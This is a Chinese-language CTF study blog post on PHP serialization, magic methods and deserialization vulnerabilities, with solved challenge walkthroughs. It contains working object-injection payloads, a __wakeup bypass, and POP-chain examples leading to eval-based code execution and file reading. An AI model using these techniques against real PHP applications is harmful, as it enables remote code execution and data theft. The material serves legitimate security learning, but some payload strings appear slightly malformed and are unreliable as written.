初识序列化与反序列化

在buu进行学习时做到[极客大挑战 2019]PHP感觉十分的陌生且不知所措;所以还是学习记录一下
序列化:php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。
举个例子:
比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。也就是说,序列化的目的是方便数据的传输和存储。
php序列化的函数为serialize。反序列化的函数为unserialize。
类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。

上述代码定义了一个people类,并在在类中定义了一个public类型的变量$name和类方法smile。然后实例化一个对象$psycho,去调用people类里面的smile方法,打印出结果。

序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class Test{

public$a = 'ThisA';

protected$b = 'ThisB';

private$c = 'ThisC';

publicfunction test1(){

return'this is test1 ';

}

}

$test = new Test();

var_dump(serialize($test));

?>


此时的O代表对象;4代表改对象的名称有4个字符;3代表改对象里面有三个元素(我们这个类的三个成员变量由于变量前的修饰不同,在序列化出来后显示的也不同)
第一个变量a序列化后为 s:1:”a”;s:5:”ThisA”;此时的s:1代表着这个名称的字符个数(与我们定义的类型有关)
“a”代表该字符串为a;后面同理。
O:对象名的长度:”对象名”:对象属性个数:{s:属性名的长度:”属性名”;s:属性值的长度:”属性值”;}
类型 结构
String s:size:value;
Integer i:value;
Boolean b:value;(保存1或0)
Null N;
Array a:size:{key definition;value definition;(repeated per element)}
Object O:strlen(object name):object name:object size:{s:strlen(property
name):property name:property definition;(repeated per property)}
(注意类里面的方法并不会序列化。)
注意:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同,当我们做题的时候需要注意这一点,%00 虽然不会显示,但是提交还是要加上去。

1
2
3
public : 被序列化的时候属性名 不会更改
protected : 被序列化的时候属性名 会变成 %00*%00属性名
private : 被序列化的时候属性名 会变成 %00类名%00属性名

反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class Test{

public$a = 'ThisA';

protected$b = 'ThisB';

private$c = 'ThisC';

publicfunction test1(){

return'this is test1 ';

}

}

$test = new Test();

$sTest = serialize($test);

$usTest = unserialize($sTest);

var_dump($usTest);

?>


在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。

相关的魔术方法:

1.__consruct()和__destruct()

1
__construct ( mixed ...$values = "" ) : void

PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。

1
__destruct ( ) : void

析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。


2.__sleep()和 __wakeup()

1
2
3
public __sleep ( ) : array
public __wakeup ( ) : void
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。与之相反,unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源。



3.__toString()

1
2
public __toString ( ) : string
__toString()方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。


触发方式:
echo ($obj) / print($obj) 打印时会触发
反序列化对象与字符串连接时
反序列化对象参与格式化字符串时
反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型)
反序列化对象参与格式化SQL语句,绑定参数时
反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
反序列化的对象作为 class_exists() 的参数的时候

4.属性重载

1
2
3
4
public __set ( string $name , mixed $value ) : void  在给不可访问属性赋值时,__set()会被调用。
public __get ( string $name ) : mixed 读取不可访问属性的值时,__get() 会被调用。
public __isset ( string $name ) : bool 当对不可访问属性调用 isset()或 empty() 时,__isset() 会被调用。
public __unset ( string $name ) : void 当对不可访问属性调用 unset() 时,__unset() 会被调用。




5.__call()

1
public __call ( string $name , array $arguments ) : mixed

在对象中调用一个不可访问方法时,调用该函数。

6.__invoke()

1
2
__invoke ( $... = ? ) : mixed
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用


对象被创建时执行__construct。
使用serialize()序列化对象。先执行__sleep,再序列化。
unserialize( )会检查是否存在一个_wakeup( )方法。如果存在,则会先调用_wakeup()方法,预先准备对象需要的资源。
把对象当做字符串使用,比如将对象与字符串进行拼接,或者使用echo输出对象,会执行__toString
程序运行完毕,对象自动销毁,执行__destruct。

下面这篇文章很好对魔术方法介绍得很到位:
https://segmentfault.com/a/1190000007250604

反序列化漏洞

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

魔法方法的作用

从上面的序列化和反序列化的知识我们可以知道,对象的序列化和反序列化只能是里面的属性,也就是说我们通过篡改反序列化的字符串只能获取或控制其他类的属性,这样一来利用面就很窄,因为属性的值都是已经预先设置好的,如果我们想利用类里面的方法呢?这时候魔术方法就派上用场了,魔术正如上面介绍的,魔术方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。

魔法方法的简单利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class demo {
var $test;
function __construct() {
$this->test = new L();
}

function __destruct() {
$this->test->action();
}
}

class L {
function action() {
echo "function action() in class L";
}
}

class Evil {
var $test2;
function action() {
eval($this->test2);
}
}

unserialize($_GET['test']);

首先我们能看到unserialize()函数的参数我们是可以控制的,也就是说我们能通过这个接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用),那我们看一下当前这三个类,我们看到后面两个类反序列化以后对我们没有任何意义,因为我们根本没法调用其中的方法,但是第一个类就不一样了,虽然我们也没有什么代码能实现调用其中的方法的,但是我们发现他有一个魔法函数__destruct() ,这就非常有趣了,因为这个函数能在对象销毁的时候自动调用,不用我们人工的干预,接下来让我们看一下怎么利用。
我们看到__destruct()里面只用到了一个属性test,再观察一下哪些地方调用了action()函数,看看这个函数的调用中有没有存在执行命令或者是其他我们能利用的点的,果然在 Evil 这个类中发现他的 action()函数调用了eval(),那我们的想法就很明确了,只需要将demo这个类中的test属性篡改为Evil这个类的对象,然后为了eval 能执行命令,我们还要篡改Evil对象的test2属性,将其改成要执行的命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class demo {
var $test;
function __construct(){
$this->test = new Evil(); //这里将 L 换成 Evil
$this->test->test2 = "phpinfo();"; //初始化对象 $test2 值
}
function __destruct(){
$this->test->action();
}
}
class Evil {
var $test2;
function action(){
eval($this->test2);
}
}

$demo = new demo();
$data = serialize($demo);
var_dump($data);

攻击流程

寻找unserialize()函数的参数是否有我们的可控点;
寻找我们的反序列化的目标,重点寻找存在 wakeup() 或 destruct() 魔法函数的类;
一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的;
找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击。

[极客大挑战 2019]PHP

学习了序列化和反序列化的基础知识之后;继续尝试这一题;这一题是需要先扫描后台然后得到后台备份文件(我用dirsearch扫描了好久才出来,后面用御剑进行扫描时却会出不来,还是需要有一本好字典啊)

接下来得到了几个备份文件(里面还有一个假的flag这个是一眼假,之前在做nssctf里面有个假的flag那个真的
是个小可爱了)

这里发现一个反序列化,然后反序列化里面的变量又是通过GET的方式提交的,所以人为可控

接着看一下这个魔术方法:当我们提交的password=100的时候和当我们提交的username=admin时就可以得到flag。那此时我们需要想一下在什么时候后台会自动执行这个__destruct()魔术方法呢?那便是当序列化被反序列时会自动调用这个魔术方法;所以我们此时需要做的就是构造一个符合条件的序列化然后当这个序列化进行反序列化的时候便可以自动执行上图的魔术方法;帮我们把flag输出出来。

我们在继续看另外这个魔术方法,我们要想到当序列化执行反序列化的时候还会自动执行__wakeup();而此时的
这个__wakeup()又会帮助我们将我们输入的username进行覆盖,覆盖成guest这就导致我们的payload无法匹配
下面的条件;那么此时我们需要进行一个绕过__wakeup()
注意:当成员属性数目大于实际数目时可绕过wakeup方法
O:对象名的长度:”对象名”:对象属性个数:{s:属性名的长度:”属性名”;s:属性值的长度:”属性值”;}
所以我们进行构造序列化时可以通过使对象属性个数大于真正个数时进行绕过(如本题是有两个对象,那么当我
们构造时可以令这个对象属性个数>2进行绕过)
payload:?select=O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;s:3:”100”;}

[SWPUCTF 2021 新生赛]ez_unserialize


这里学习一下robots协议:robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。
1.user-agent这句代码表示那个搜索引擎准守协议。user-agent后面为搜索机器人名称,如果是“”号,则泛指所有的搜索引擎机器人;号表示所有。
2.Disallow是禁止爬取的意思。Disallow后面是不允许访问文件目录(你可以理解为路径中包含改字符、都不会爬取)。案例中显示“Disallow: /?s* ” 表示路径中带有“/?s”的路径都不能爬取。 * 代表匹配所有。 这里需要主机。 Disallow空格一个,/必须为开头。
如果“Disallow: /” 因为所有路径都包含/ ,所以这表示禁止爬取网站所有内容
所以当此题中出现User-agent:和Disallow:我们便想到了robots协议;所以在url后面加上robots.txt;此时禁止爬取的内容便显示出来了;接着我们访问改内容,发现是一道PHP反序列化

然后我们发现$p是由GET提交的,人为可控;接下来看一下魔术方法,阅读函数发现当我们提交的admin=admin且passwd=ctf时便可以输出flag;而此时的__construct()魔术方法虽然赋给admin和passwd值;但是不影响;因
为__construct()的触发条件是当引用一个新变量的时候猜自动执行;而我们的__destruct()的执行是在序列化
转成反序列化的时候会自动执行;所以此题的突破点就在这里。
payload:?p=O:4:”wllm”:2:{s:5:”admin”;s:5:”admin”;s:6:”passwd”;s:3:”ctf”;}
这一题并不存在什么过滤比[极客大挑战 2019]PHP简单一点;
[SWPUCTF 2021 新生赛]no_wakeup和[极客大挑战 2019]PHP的考点一模一样,这里就不多说了。

初探PHP反序列化POP链

POP链介绍(Property-Oriented Programing)
POP面向属性编程,常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-OrientedPrograming)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。
说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

寻找POP链过程:

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value) {
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show {
public $source;
public $str;
public function __construct($file='index.php') {
$this->source = $file;
echo $this->source.' Welcome'."<br>";
}
public function __toString() {
return $this->str['str']->source;
}

public function _show() {
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}

public function __wakeup() {
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test {
public $p;
public function __construct() {
$this->p = array();
}

public function __get($key) {
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello'])) {
unserialize($_GET['hello']);
} else {
$show = new Show('pop3.php');
$show->_show();
}

1.首先找到unserlialize(),发现里面参数由GET方式提交且参数可控
2.接着寻找可以利用的魔术方法,一般实在__wakeup或者在__destruct;这里在Show类中发现有__wakeup();
3.在__wakeup()里面使用per_match()函数进行一个正则匹配;当我们传进去的参数是对象时便会触发__toString()魔术方法;
4.在__toString()的魔术魔法中试图获取属性$str中的key为str的值,如果我们传进去的$str[‘str’]是一个类对象不可以访问的属性时,就能触发__get()的魔术方法;
5.接着寻找有魔法方法__get()的类,发现Test类里面有这个魔术方法。
6.Test类里面的__get()方法对参数$p作为函数名字进行调用,如果这时候的$p是一个类对象的话,就会触发__invoke()魔法方法;
7.寻找存在魔法方法__invoke()的类,发现Read类里面有这个魔术方法
8.Read类里面的__invoke()方法会读取参数$var里面的内容并输出
此时的POP链:
hello -> wakeup -> Show.show -> Show.toString -> (不存在属性)Test.get() -> Read.invoke
我自己的理解:遇到POP链的题,我们首先要摸清楚链尾是什么(这个链尾就是可以帮助我们获取flag的一个函数)
当我们摸清链尾之后,要知道链尾的参数是什么,从何而来;当我们知道链尾的参数从何而来,要被赋与什么值后,我们就可以摸到链尾的上一步是什么,然后逐层摸索,摸到链首。先把整条POP链摸清楚,我们才好进行组装payload。下面是一道NSSCTF里面的POP链题。就拿它练练手吧!

[SWPUCTF 2021 新生赛]pop


拿到源码后,大致看一眼整体后,主要我们最终要将w44m类里面的Getflag调用出来,然后修改admin=w44m和passwd=08067就可以调用include包含flag.php了。知道了可以利用的点,我们就可以往上推,把目光先聚集在类w33m,w33m类里面有一个魔术方法__toString()还有两个属性w00m和w22m。
1.toString主要是在当类被当成字符串使用echo或者print等输出函数输出时,会被调用源码中,toString触发后,会执行
$this->w00m->{$this->w22m}();
这一串代码,针对如何调用w44m的Getflag函数,到这里就有答案了,可以将w00m设为new w44m去实例化w44m,如何再把w22m设为Getflag实现调用到这个类函数,但是怎么触发toString又是一个问题,继续往上跟进审计w22m类。
2.调用w22m类之后,会直接调用魔术方法destruct函数是用于当类最后执行的,当类里面的东西执行完成后,就会调用destruct对类输出最后的信息,随即类就销毁。
3.可以看到w22m类里面有一个属性w00m,然后destruct中使用了
echo $this->w00m,在上面说到了如果使用了输出函数去输出一个类实例的话,就会调用类里面的toString。

1
2
3
4
5
6
7
8
9
$a = new w22m();是把类给了a

然后$a->w00m = new w33m();因为w22m中woom是其中的可控对象 ——tostring操作就是

$a->w00m->w00m=new w44m(); w33m中woom也是其中可控对象

$a->w00m->w22m='Getflag';

w00m是w33m对象,w22m是getflag

到了这里,整道题目的思路以及很清晰了,先使用w22m的echo函数去输出w33m类,然后w33m的类调用toString里面的$this->w00m->{$this->w22m}();,将w00m赋值为w44m,将w22m赋值为Getflag,再将w44m的admin和passwd赋值为题目给出的数,从而读取flag。
POP链:
w22m(destruct)->w33m(toString)->w44m(Getflag)
个人理解:处理这种POP链最重要的是了解每个魔术方法的触发条件和理清一条POP链中的每个节点。
O:4:”w22m”:1:{s:4:”w00m”;O:4:”w33m”:2:{s:4:”w00m”;O:4:”w44m”:2:{s:11:”w44madmin”;s:4:”w44m”;s:9:”*passwd”;s:5:”08067”;}s:4:”w22m”;s:7:”Getflag”;}}

1
O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

(对这个POP链的payload还是很异或,因为我还没有掌握其中的构造原理;希望接下来的学习可以多接触,多了解,多学习)